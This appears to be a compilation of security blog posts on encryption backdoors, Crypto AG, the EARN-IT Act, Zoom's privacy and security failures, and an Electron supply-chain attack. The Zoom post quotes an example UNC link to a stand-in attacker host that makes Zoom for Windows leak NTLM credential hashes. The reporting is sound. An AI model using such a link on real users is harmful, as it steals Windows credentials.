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Another Story of Bad 1970s Encryption

This one is from the Netherlands. It seems to be clever cryptanalysis rather than a backdoor.

The Dutch intelligence service has been able to read encrypted communications from dozens of countries since the late 1970s thanks to a microchip, according to research by de Volkskrant on Thursday. The Netherlands could eavesdrop on confidential communication from countries such as Iran, Egypt and Saudi Arabia.

Philips, together with Siemens, built an encryption machine in the late 1970s. The device, the Aroflex, was used for secret communication between NATO allies. In addition, the companies also wanted to market the T1000CA, a commercial variant of the Aroflex with less strong cryptography.

The Volkskrant investigation shows that the Ministry of Foreign Affairs and the Marine Intelligence Service (MARID) cracked the cryptography of this device before it was launched. Philips helped the ministry and the intelligence service.

Normally it would take at least a month and a half to crack the T1000CA encryption. “Too long to get useful information from intercepted communication,” the newspaper writes. But MARID employees, together with Philips, succeeded in accelerating this 2.500 times by developing a special microchip.

The T1000CA was then sold to numerous non-NATO countries, including the Middle East and Asia. These countries could then be overheard by the Dutch intelligence services for years.

The 1970s was a decade of really bad commercial cryptography. DES, in 1975, was an improvement with its 56-bit key. I’m sure there are lots of these stories.

Here’s more about the Aroflex. And here’s what I think is the original Dutch story.

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Security and Privacy Implications of Zoom

Over the past few weeks, Zoom’s use has exploded since it became the video conferencing platform of choice in today’s COVID-19 world. (My own university, Harvard, uses it for all of its classes. Boris Johnson had a cabinet meeting over Zoom.) Over that same period, the company has been exposed for having both lousy privacy and lousy security. My goal here is to summarize all of the problems and talk about solutions and workarounds.

In general, Zoom’s problems fall into three broad buckets: (1) bad privacy practices, (2) bad security practices, and (3) bad user configurations.

Privacy first: Zoom spies on its users for personal profit. It seems to have cleaned this up somewhat since everyone started paying attention, but it still does it.

The company collects a laundry list of data about you, including user name, physical address, email address, phone number, job information, Facebook profile information, computer or phone specs, IP address, and any other information you create or upload. And it uses all of this surveillance data for profit, against your interests.

Last month, Zoom’s privacy policy contained this bit:

Does Zoom sell Personal Data? Depends what you mean by “sell.” We do not allow marketing companies, or anyone else to access Personal Data in exchange for payment. Except as described above, we do not allow any third parties to access any Personal Data we collect in the course of providing services to users. We do not allow third parties to use any Personal Data obtained from us for their own purposes, unless it is with your consent (e.g. when you download an app from the Marketplace. So in our humble opinion, we don’t think most of our users would see us as selling their information, as that practice is commonly understood.

“Depends what you mean by ‘sell.'” “…most of our users would see us as selling…” “…as that practice is commonly understood.” That paragraph was carefully worded by lawyers to permit them to do pretty much whatever they want with your information while pretending otherwise. Do any of you who “download[ed] an app from the Marketplace” remember consenting to them giving your personal data to third parties? I don’t.

Doc Searls has been all over this, writing about the surprisingly large number of third-party trackers on the Zoom website and its poor privacy practices in general.

On March 29th, Zoom rewrote its privacy policy:

We do not sell your personal data. Whether you are a business or a school or an individual user, we do not sell your data.

[…]

We do not use data we obtain from your use of our services, including your meetings, for any advertising. We do use data we obtain from you when you visit our marketing websites, such as zoom.us and zoom.com. You have control over your own cookie settings when visiting our marketing websites.

There’s lots more. It’s better than it was, but Zoom still collects a huge amount of data about you. And note that it considers its home pages “marketing websites,” which means it’s still using third-party trackers and surveillance based advertising. (Honestly, Zoom, just stop doing it.)

Now security: Zoom’s security is at best sloppy, and malicious at worst. Motherboard reported that Zoom’s iPhone app was sending user data to Facebook, even if the user didn’t have a Facebook account. Zoom removed the feature, but its response should worry you about its sloppy coding practices in general:

“We originally implemented the ‘Login with Facebook’ feature using the Facebook SDK in order to provide our users with another convenient way to access our platform. However, we were recently made aware that the Facebook SDK was collecting unnecessary device data,” Zoom told Motherboard in a statement on Friday.

This isn’t the first time Zoom was sloppy with security. Last year, a researcher discovered that a vulnerability in the Mac Zoom client allowed any malicious website to enable the camera without permission. This seemed like a deliberate design choice: that Zoom designed its service to bypass browser security settings and remotely enable a user’s web camera without the user’s knowledge or consent. (EPIC filed an FTC complaint over this.) Zoom patched this vulnerability last year.

On 4/1, we learned that Zoom for Windows can be used to steal users’ Window credentials.

Attacks work by using the Zoom chat window to send targets a string of text that represents the network location on the Windows device they’re using. The Zoom app for Windows automatically converts these so-called universal naming convention strings — such as \attacker.example.com/C$ — into clickable links. In the event that targets click on those links on networks that aren’t fully locked down, Zoom will send the Windows usernames and the corresponding NTLM hashes to the address contained in the link.

On 4/2, we learned that Zoom secretly displayed data from people’s LinkedIn profiles, which allowed some meeting participants to snoop on each other. (Zoom has fixed this one.)

I’m sure lots more of these bad security decisions, sloppy coding mistakes, and random software vulnerabilities are coming.

But it gets worse. Zoom’s encryption is awful. First, the company claims that it offers end-to-end encryption, but it doesn’t. It only provides link encryption, which means everything is unencrypted on the company’s servers. From the Intercept:

In Zoom’s white paper, there is a list of “pre-meeting security capabilities” that are available to the meeting host that starts with “Enable an end-to-end (E2E) encrypted meeting.” Later in the white paper, it lists “Secure a meeting with E2E encryption” as an “in-meeting security capability” that’s available to meeting hosts. When a host starts a meeting with the “Require Encryption for 3rd Party Endpoints” setting enabled, participants see a green padlock that says, “Zoom is using an end to end encrypted connection” when they mouse over it.

But when reached for comment about whether video meetings are actually end-to-end encrypted, a Zoom spokesperson wrote, “Currently, it is not possible to enable E2E encryption for Zoom video meetings. Zoom video meetings use a combination of TCP and UDP. TCP connections are made using TLS and UDP connections are encrypted with AES using a key negotiated over a TLS connection.”

They’re also lying about the type of encryption. On 4/3, Citizen Lab reported

Zoom documentation claims that the app uses “AES-256” encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.

The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber’s company, are outside of China.

I’m okay with AES-128, but using ECB (electronic codebook) mode indicates that there is no one at the company who knows anything about cryptography.

And that China connection is worrisome. Citizen Lab again:

Zoom, a Silicon Valley-based company, appears to own three companies in China through which at least 700 employees are paid to develop Zoom’s software. This arrangement is ostensibly an effort at labor arbitrage: Zoom can avoid paying US wages while selling to US customers, thus increasing their profit margin. However, this arrangement may make Zoom responsive to pressure from Chinese authorities.

Or from Chinese programmers slipping backdoors into the code at the request of the government.

Finally, bad user configuration. Zoom has a lot of options. The defaults aren’t great, and if you don’t configure your meetings right you’re leaving yourself open to all sort of mischief.

Zoombombing” is the most visible problem. People are finding open Zoom meetings, classes, and events: joining them, and sharing their screens to broadcast offensive content — porn, mostly — to everyone. It’s awful if you’re the victim, and a consequence of allowing any participant to share their screen.

Even without screen sharing, people are logging in to random Zoom meetings and disrupting them. Turns out that Zoom didn’t make the meeting ID long enough to prevent someone from randomly trying them, looking for meetings. This isn’t new; Checkpoint Research reported this last summer. Instead of making the meeting IDs longer or more complicated — which it should have done — it enabled meeting passwords by default. Of course most of us don’t use passwords, and there are now automatic tools for finding Zoom meetings.

For help securing your Zoom sessions, Zoom has a good guide. Short summary: don’t share the meeting ID more than you have to, use a password in addition to a meeting ID, use the waiting room if you can, and pay attention to who has what permissions.

That’s what we know about Zoom’s privacy and security so far. Expect more revelations in the weeks and months to come. The New York Attorney General is investigating the company. Security researchers are combing through the software, looking for other things Zoom is doing and not telling anyone about. There are more stories waiting to be discovered.

Zoom is a security and privacy disaster, but until now had managed to avoid public accountability because it was relatively obscure. Now that it’s in the spotlight, it’s all coming out. (Their 4/1 response to all of this is here.) On 4/2, the company said it would freeze all feature development and focus on security and privacy. Let’s see if that’s anything more than a PR move.

In the meantime, you should either lock Zoom down as best you can, or — better yet — abandon the platform altogether. Jitsi is a distributed, free, and open-source alternative. Start your meeting here.

EDITED TO ADD: Fight for the Future is on this.

Steve Bellovin’s comments.

Meanwhile, lots of Zoom video recordings are available on the Internet. The article doesn’t have any useful details about how they got there:

Videos viewed by The Post included one-on-one therapy sessions; a training orientation for workers doing telehealth calls, which included people’s names and phone numbers; small-business meetings, which included private company financial statements; and elementary-school classes, in which children’s faces, voices and personal details were exposed.

Many of the videos include personally identifiable information and deeply intimate conversations, recorded in people’s homes. Other videos include nudity, such as one in which an aesthetician teaches students how to give a Brazilian wax.

[…]

Many of the videos can be found on unprotected chunks of Amazon storage space, known as buckets, which are widely used across the Web. Amazon buckets are locked down by default, but many users make the storage space publicly accessible either inadvertently or to share files with other people.

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The EARN-IT Act

Prepare for another attack on encryption in the U.S. The EARN-IT Act purports to be about protecting children from predation, but it’s really about forcing the tech companies to break their encryption schemes:

The EARN IT Act would create a “National Commission on Online Child Sexual Exploitation Prevention” tasked with developing “best practices” for owners of Internet platforms to “prevent, reduce, and respond” to child exploitation. But far from mere recommendations, those “best practices” would be approved by Congress as legal requirements: if a platform failed to adhere to them, it would lose essential legal protections for free speech.

It’s easy to predict how Attorney General William Barr would use that power: to break encryption. He’s said over and over that he thinks the “best practice” is to force encrypted messaging systems to give law enforcement access to our private conversations. The Graham-Blumenthal bill would finally give Barr the power to demand that tech companies obey him or face serious repercussions, including both civil and criminal liability. Such a demand would put encryption providers like WhatsApp and Signal in an awful conundrum: either face the possibility of losing everything in a single lawsuit or knowingly undermine their users’ security, making all of us more vulnerable to online criminals.

Matthew Green has a long explanation of the bill and its effects:

The new bill, out of Lindsey Graham’s Judiciary committee, is designed to force providers to either solve the encryption-while-scanning problem, or stop using encryption entirely. And given that we don’t yet know how to solve the problem — and the techniques to do it are basically at the research stage of R&D — it’s likely that “stop using encryption” is really the preferred goal.

EARN IT works by revoking a type of liability called Section 230 that makes it possible for providers to operate on the Internet, by preventing the provider for being held responsible for what their customers do on a platform like Facebook. The new bill would make it financially impossible for providers like WhatsApp and Apple to operate services unless they conduct “best practices” for scanning their systems for CSAM.

Since there are no “best practices” in existence, and the techniques for doing this while preserving privacy are completely unknown, the bill creates a government-appointed committee that will tell technology providers what technology they have to use. The specific nature of the committee is byzantine and described within the bill itself. Needless to say, the makeup of the committee, which can include as few as zero data security experts, ensures that end-to-end encryption will almost certainly not be considered a best practice.

So in short: this bill is a backdoor way to allow the government to ban encryption on commercial services. And even more beautifully: it doesn’t come out and actually ban the use of encryption, it just makes encryption commercially infeasible for major providers to deploy, ensuring that they’ll go bankrupt if they try to disobey this committee’s recommendations.

It’s the kind of bill you’d come up with if you knew the thing you wanted to do was unconstitutional and highly unpopular, and you basically didn’t care.

Another criticism of the bill. Commentary by EPIC. Kinder analysis.

Sign a petition against this act.

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More on Crypto AG

One follow-on to the story of Crypto AG being owned by the CIA: this interview with a Washington Post reporter. The whole thing is worth reading or listening to, but I was struck by these two quotes at the end:

…in South America, for instance, many of the governments that were using Crypto machines were engaged in assassination campaigns. Thousands of people were being disappeared, killed. And I mean, they’re using Crypto machines, which suggests that the United States intelligence had a lot of insight into what was happening. And it’s hard to look back at that history now and see a lot of evidence of the United States going to any real effort to stop it or at least or even expose it.

[…]

To me, the history of the Crypto operation helps to explain how U.S. spy agencies became accustomed to, if not addicted to, global surveillance. This program went on for more than 50 years, monitoring the communications of more than 100 countries. I mean, the United States came to expect that kind of penetration, that kind of global surveillance capability. And as Crypto became less able to deliver it, the United States turned to other ways to replace that. And the Snowden documents tell us a lot about how they did that.

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Crypto AG Was Owned by the CIA

The Swiss cryptography firm Crypto AG sold equipment to governments and militaries around the world for decades after World War II. They were owned by the CIA:

But what none of its customers ever knew was that Crypto AG was secretly owned by the CIA in a highly classified partnership with West German intelligence. These spy agencies rigged the company’s devices so they could easily break the codes that countries used to send encrypted messages.

This isn’t really news. We have long known that Crypto AG was backdooring crypto equipment for the Americans. What is new is the formerly classified documents describing the details:

The decades-long arrangement, among the most closely guarded secrets of the Cold War, is laid bare in a classified, comprehensive CIA history of the operation obtained by The Washington Post and ZDF, a German public broadcaster, in a joint reporting project.

The account identifies the CIA officers who ran the program and the company executives entrusted to execute it. It traces the origin of the venture as well as the internal conflicts that nearly derailed it. It describes how the United States and its allies exploited other nations’ gullibility for years, taking their money and stealing their secrets.

The operation, known first by the code name “Thesaurus” and later “Rubicon,” ranks among the most audacious in CIA history.

EDITED TO ADD: MOre news article. And a 1995 story on this. It’s not new news.

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Former FBI General Counsel Jim Baker Chooses Encryption Over Backdoors

In an extraordinary essay, the former FBI general counsel Jim Baker makes the case for strong encryption over government-mandated backdoors:

In the face of congressional inaction, and in light of the magnitude of the threat, it is time for governmental authorities­ — including law enforcement­ — to embrace encryption because it is one of the few mechanisms that the United States and its allies can use to more effectively protect themselves from existential cybersecurity threats, particularly from China. This is true even though encryption will impose costs on society, especially victims of other types of crime.

[…]

I am unaware of a technical solution that will effectively and simultaneously reconcile all of the societal interests at stake in the encryption debate, such as public safety, cybersecurity and privacy as well as simultaneously fostering innovation and the economic competitiveness of American companies in a global marketplace.

[…]

All public safety officials should think of protecting the cybersecurity of the United States as an essential part of their core mission to protect the American people and uphold the Constitution. And they should be doing so even if there will be real and painful costs associated with such a cybersecurity-forward orientation. The stakes are too high and our current cybersecurity situation too grave to adopt a different approach.

Basically, he argues that the security value of strong encryption greatly outweighs the security value of encryption that can be bypassed. He endorses a “defense dominant” strategy for Internet security.

Keep in mind that Baker led the FBI’s legal case against Apple regarding the San Bernardino shooter’s encrypted iPhone. In writing this piece, Baker joins the growing list of former law enforcement and national security senior officials who have come out in favor of strong encryption over backdoors: Michael Hayden, Michael Chertoff, Richard Clarke, Ash Carter, William Lynn, and Mike McConnell.

Edward Snowden also agrees.

EDITED TO ADD: Good commentary from Cory Doctorow.

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Adding a Hardware Backdoor to a Networked Computer

Interesting proof of concept:

At the CS3sthlm security conference later this month, security researcher Monta Elkins will show how he created a proof-of-concept version of that hardware hack in his basement. He intends to demonstrate just how easily spies, criminals, or saboteurs with even minimal skills, working on a shoestring budget, can plant a chip in enterprise IT equipment to offer themselves stealthy backdoor access…. With only a $150 hot-air soldering tool, a $40 microscope, and some $2 chips ordered online, Elkins was able to alter a Cisco firewall in a way that he says most IT admins likely wouldn’t notice, yet would give a remote attacker deep control.

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More on Law Enforcement Backdoor Demands

The Carnegie Endowment for International Peace and Princeton University’s Center for Information Technology Policy convened an Encryption Working Group to attempt progress on the “going dark” debate. They have released their report: “Moving the Encryption Policy Conversation Forward.

The main contribution seems to be that attempts to backdoor devices like smartphones shouldn’t also backdoor communications systems:

Conclusion: There will be no single approach for requests for lawful access that can be applied to every technology or means of communication. More work is necessary, such as that initiated in this paper, to separate the debate into its component parts, examine risks and benefits in greater granularity, and seek better data to inform the debate. Based on our attempt to do this for one particular area, the working group believes that some forms of access to encrypted information, such as access to data at rest on mobile phones, should be further discussed. If we cannot have a constructive dialogue in that easiest of cases, then there is likely none to be had with respect to any of the other areas. Other forms of access to encrypted information, including encrypted data-in-motion, may not offer an achievable balance of risk vs. benefit, and as such are not worth pursuing and should not be the subject of policy changes, at least for now. We believe that to be productive, any approach must separate the issue into its component parts.

I don’t believe that backdoor access to encryption data at rest offers “an achievable balance of risk vs. benefit” either, but I agree that the two aspects should be treated independently.

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Supply-Chain Attack against the Electron Development Platform

Electron is a cross-platform development system for many popular communications apps, including Skype, Slack, and WhatsApp. Security vulnerabilities in the update system allows someone to silently inject malicious code into applications. From a news article:

At the BSides LV security conference on Tuesday, Pavel Tsakalidis demonstrated a tool he created called BEEMKA, a Python-based tool that allows someone to unpack Electron ASAR archive files and inject new code into Electron’s JavaScript libraries and built-in Chrome browser extensions. The vulnerability is not part of the applications themselves but of the underlying Electron framework — ­and that vulnerability allows malicious activities to be hidden within processes that appear to be benign. Tsakalidis said that he had contacted Electron about the vulnerability but that he had gotten no response — ­and the vulnerability remains.

While making these changes required administrator access on Linux and MacOS, it only requires local access on Windows. Those modifications can create new event-based “features” that can access the file system, activate a Web cam, and exfiltrate information from systems using the functionality of trusted applications­ — including user credentials and sensitive data. In his demonstration, Tsakalidis showed a backdoored version of Microsoft Visual Studio Code that sent the contents of every code tab opened to a remote website.

Basically, the Electron ASAR files aren’t signed or encrypted, so modifying them is easy.

Note that this attack requires local access to the computer, which means that an attacker that could do this could do much more damaging things as well. But once an app has been modified, it can be distributed to other users. It’s not a big deal attack, but it’s a vulnerability that should be closed.

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More on Backdooring (or Not) WhatsApp

Yesterday, I blogged about a Facebook plan to backdoor WhatsApp by adding client-side scanning and filtering. It seems that I was wrong, and there are no such plans.

The only source for that post was a Forbes essay by Kalev Leetaru, which links to a previous Forbes essay by him, which links to a video presentation from a Facebook developers conference.

Leetaru extrapolated a lot out of very little. I watched the video (the relevant section is at the 23:00 mark), and it doesn’t talk about client-side scanning of messages. It doesn’t talk about messaging apps at all. It discusses using AI techniques to find bad content on Facebook, and the difficulties that arise from dynamic content:

So far, we have been keeping this fight [against bad actors and harmful content] on familiar grounds. And that is, we have been training our AI models on the server and making inferences on the server when all the data are flooding into our data centers.

While this works for most scenarios, it is not the ideal setup for some unique integrity challenges. URL masking is one such problem which is very hard to do. We have the traditional way of server-side inference. What is URL masking? Let us imagine that a user sees a link on the app and decides to click on it. When they click on it, Facebook actually logs the URL to crawl it at a later date. But…the publisher can dynamically change the content of the webpage to make it look more legitimate [to Facebook]. But then our users click on the same link, they see something completely different — oftentimes it is disturbing; oftentimes it violates our policy standards. Of course, this creates a bad experience for our community that we would like to avoid. This and similar integrity problems are best solved with AI on the device.

That might be true, but it also would hand whatever secret-AI sauce Facebook has to every one of its users to reverse engineer — which means it’s probably not going to happen. And it is a dumb idea, for reasons Steve Bellovin has pointed out.

Facebook’s first published response was a comment on the Hacker News website from a user named “wcathcart,” which Cardozo assures me is Will Cathcart, the vice president of WhatsApp. (I have no reason to doubt his identity, but surely there is a more official news channel that Facebook could have chosen to use if they wanted to.) Cathcart wrote:

We haven’t added a backdoor to WhatsApp. The Forbes contributor referred to a technical talk about client side AI in general to conclude that we might do client side scanning of content on WhatsApp for anti-abuse purposes.

To be crystal clear, we have not done this, have zero plans to do so, and if we ever did it would be quite obvious and detectable that we had done it. We understand the serious concerns this type of approach would raise which is why we are opposed to it.

Facebook’s second published response was a comment on my original blog post, which has been confirmed to me by the WhatsApp people as authentic. It’s more of the same.

So, this was a false alarm. And, to be fair, Alec Muffet called foul on the first Forbes piece:

So, here’s my pre-emptive finger wag: Civil Society’s pack mentality can make us our own worst enemies. If we go around repeating one man’s Germanic conspiracy theory, we may doom ourselves to precisely what we fear. Instead, we should ­ we must ­ take steps to constructively demand what we actually want: End to End Encryption which is worthy of the name.

Blame accepted. But in general, this is the sort of thing we need to watch for. End-to-end encryption only secures data in transit. The data has to be in the clear on the device where it is created, and it has to be in the clear on the device where it is consumed. Those are the obvious places for an eavesdropper to get a copy.

This has been a long process. Facebook desperately wanted to convince me to correct the record, while at the same time not wanting to write something on their own letterhead (just a couple of comments, so far). I spoke at length with Privacy Policy Manager Nate Cardozo, whom Facebook hired last December from EFF. (Back then, I remember thinking of him — and the two other new privacy hires — as basically human warrant canaries. If they ever leave Facebook under non-obvious circumstances, we know that things are bad.) He basically leveraged his historical reputation to assure me that WhatsApp, and Facebook in general, would never do something like this. I am trusting him, while also reminding everyone that Facebook has broken so many privacy promises that they really can’t be trusted.

Final note: If they want to be trusted, Adam Shostack and I gave them a road map.

Hacker News thread.

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